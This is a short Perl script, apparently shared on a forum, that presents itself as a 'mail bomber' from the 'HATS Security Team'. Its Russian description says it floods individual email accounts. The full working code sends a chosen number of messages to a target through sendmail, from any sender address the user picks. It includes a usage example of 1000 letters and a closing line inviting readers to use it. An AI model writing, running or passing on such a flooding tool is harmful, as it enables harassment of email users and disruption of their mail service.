#!/usr/bin/perl
# :------------------------------------------------------------------------:
# : HATS Security Team http://security.nitro.ru :
# : :
# : HMailBomber [hmailbomber_0.1_priv.rar] :
# : :---------------------------------------------: :
# : [v 0.1 private] :
# : :
# : Copyright © 2005-2006 Dmitri Gavrilov :
# : :
# : Released under the terms & conditions of v2 of the GNU General :
# : Public License. For details refer visit http://gnu.org :
# : :
# : [version 0.1] >> Первый релиз :
# : :
# : <info> :
# : Программа для флуда отдельных почтовых аккаунтов :
# : :
# : Coded by GeW [zionix@mail.ru] :
# : Greets to all HATS Security Team members :
# :------------------------------------------------------------------------:
if (@ARGV < 5) {&help;}
$from = $ARGV[0];
$to = $ARGV[1];
$subj = $ARGV[2];
$letter = $ARGV[3];
$num = $ARGV[4];
for ($i=0;$i<$num;$i++)
{
open(SM,"|/usr/sbin/sendmail -t");
print SM "From: $from\n";
print SM "To: $to\n";
print SM "Subject: $subj\n";
print SM "Content-type: text/plain\n";
print SM "$letter";
print SM "\n";
close SM;
}
sub help
{
print "\n";
print (<<"end");
================================================== ================================
HATS Mail Bomber [version 0.1 private]
Coded by GeW [zionix@mail.ru]
Greets to all HATS Security Team members
usage: perl hmailbomber.pl <from> <to> <subject> <letter text> <number of letters>
example: perl hmailbomber.pl gew@gew.ru user@user.ru Test Text 1000
================================================== ================================
end
exit();
}

---------------------------

просто и сердито =) юзайте...